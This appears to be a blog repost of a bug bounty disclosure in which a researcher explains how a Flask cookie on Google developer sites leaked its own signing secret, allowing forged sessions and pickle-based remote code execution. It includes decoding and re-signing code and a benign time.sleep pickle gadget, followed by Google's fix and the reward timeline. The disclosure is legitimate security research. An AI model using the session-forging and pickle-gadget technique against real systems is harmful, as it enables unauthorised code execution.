logo
Kurashizu Blogwhere ideas flow
  • Home
  • News
  • Blog
  • About
  • Home
  • News
  • Blog
  • About

© 2026 Kurashizu. All rights reserved.

Admin·New Post·Service Status
Powered by Cloudflare·30.10.26
← Back to news

I Found a $90k Remote Code Execution Vulnerability in Google

Original article
simonkoeck.com|96 points|45 comments|by soeckly|Oct 12, 2026

Uncovering a $90k Remote Code Execution (RCE) Flaw in Google

Executive Summary: A Flask session cookie on developers.google.com was signed using a secret that was accidentally embedded within the cookie's own payload. By extracting this secret, it was possible to forge sessions and achieve Remote Code Execution (RCE) across seven different Google domains.


🔍 The Discovery Phase

While analyzing the shared OAuth flow utilized by Google's developer documentation sites, I noticed something peculiar. The process typically follows this path:

  1. User visits /oauth2authorize.
  2. The server issues a Flask session cookie.
  3. The user is redirected to the Google sign-in page.

I tested this using a simple curl command (no account required):

curl -s -D headers.txt -o /dev/null \ 'https://developers.google.com/oauth2authorize?return_url=%2F'

The Red Flag

The resulting cookie was unusually large—approximately 1,200 bytes. This is far beyond the expected size for a simple return URL and a CSRF token. Since Flask cookies are signed but encrypted not encrypted, the data is visible to anyone.

The payload started with a dot (.), indicating zlib compression. I wrote a script to decode it:

import base64, json, pickletools, zlib

# Splitting the cookie into payload, timestamp, and signature
payload, timestamp, signature = cookie.rsplit('.', 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + '=' * (-len(value) % 4))

# Decompressing the zlib payload
compressed = payload.startswith('.')
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

The decoded session revealed a pickle object. Using pickletools.dis, I uncovered an oauth2client.client.OAuth2WebServerFlow object containing:

  • client_id: redacted.apps.googleusercontent.com
  • client_secret: b'redacted'

🔑 One Secret, Two Purposes

Finding a client_secret in a cookie is a vulnerability in itself, but the real breakthrough came when I tested if this secret was also being used as the Flask SECRET_KEY.

Verification Logic

Flask utilizes the itsdangerous library for signing. The signature is derived using the following logic:

Derived Key=HMAC-SHA1(client_secret,"cookie-session")\text{Derived Key} = \text{HMAC-SHA1}(\text{client\_secret}, \text{"cookie-session"})Derived Key=HMAC-SHA1(client_secret,"cookie-session") Signature=HMAC-SHA1(Derived Key,payload+timestamp)\text{Signature} = \text{HMAC-SHA1}(\text{Derived Key}, \text{payload} + \text{timestamp})Signature=HMAC-SHA1(Derived Key,payload+timestamp)

I re-implemented this offline:

import hmac
from hashlib import sha1

derived_key = hmac.digest(client_secret, b'cookie-session', sha1)
expected = hmac.digest(derived_key, f'{payload}.{timestamp}'.encode(), sha1)

The expected value matched the cookie's signature perfectly. To confirm this wasn't a coincidence, I performed two tests:

  1. Modified Signature: Changed one character →\rightarrow→ Rejected.
  2. Re-signed Payload: Used the recovered secret to sign a new payload →\rightarrow→ Accepted.

🚀 From Forgery to Remote Code Execution

The vulnerability escalated because the server's callback mechanism unpickles the flow object from the session:

The Execution Chain: Session Cookie →\rightarrow→ Verify Signature →\rightarrow→ Extract flow bytes →\rightarrow→ base64-decode →\rightarrow→ pickle.loads()

Because I could forge the signature, I could pass any arbitrary bytes to pickle.loads(). In Python, the REDUCE opcode allows a pickle to call any callable with specific arguments.

Proving the Exploit

To avoid disrupting production systems, I used time.sleep() to prove execution. I created a class with a __reduce__ method:

import time

class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds
    def __reduce__(self):
        return (time.sleep, (self.seconds,))

I then wrapped this in a forged session:

session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        "b": base64.b64encode(attacker_blob).decode()
    },
}

Results Table

PayloadResponse TimeResult
time.sleep(0)0.207 sBaseline
time.sleep(3)3.193 sConfirmed RCE
time.sleep(5)5.194 sConfirmed RCE
time.sleep(8)8.283 sConfirmed RCE

RCE Concept


🌐 Scope and Remediation

This wasn't limited to one site; it affected the entire shared DevSite platform. The same key worked across:

  • developers.google.com
  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com
  • (And two others)

The Fix

Google implemented a multi-layered defense:

  • Secret Rotation: Rotated all exposed OAuth secrets and invalidated existing sessions.
  • Key Isolation: Assigned unique, high-entropy SECRET_KEYs per deployment via server-side storage.
  • Opaque Tokens: Changed cookies to hold opaque references rather than sensitive data.
  • Safe Serialization: Replaced pickle with a data-only format and strict schema validation.

📅 Timeline & Reward

DateEvent
Aug 6, 2026Report submitted (22:48)
Aug 7, 2026Triaged (08:12) and Accepted (16:23)
Aug 27, 2026Reward finalized: $90,000
Oct 7, 2026Fix deployed (15:20)

Bounty Breakdown:

  • Base Reward (S0 RCE): $75,000
  • Quality Multiplier: ×1.2\times 1.2×1.2 (for exceptional report quality)
  • Total: $90,000